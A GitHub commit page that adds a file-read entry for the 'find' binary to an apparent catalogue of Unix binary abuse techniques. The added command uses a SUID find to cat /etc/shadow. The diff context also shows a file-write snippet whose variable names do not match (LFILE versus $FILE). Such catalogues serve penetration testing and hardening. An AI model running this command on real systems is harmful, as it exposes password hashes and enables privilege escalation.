Added file-read.md

if 'find' was among the SUID's you get a privileged access to read files with it
This commit is contained in:
Ahmed Mostafa 2024-07-14 05:33:30 +03:00 committed by GitHub
parent 2afe22a27b
commit e8343b579f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -11,4 +11,6 @@ functions:
code: |
LFILE=file_to_write
find / -fprintf "$FILE" DATA -quit
file-read:
- code: find /etc -name shadow -exec cat {} \;
---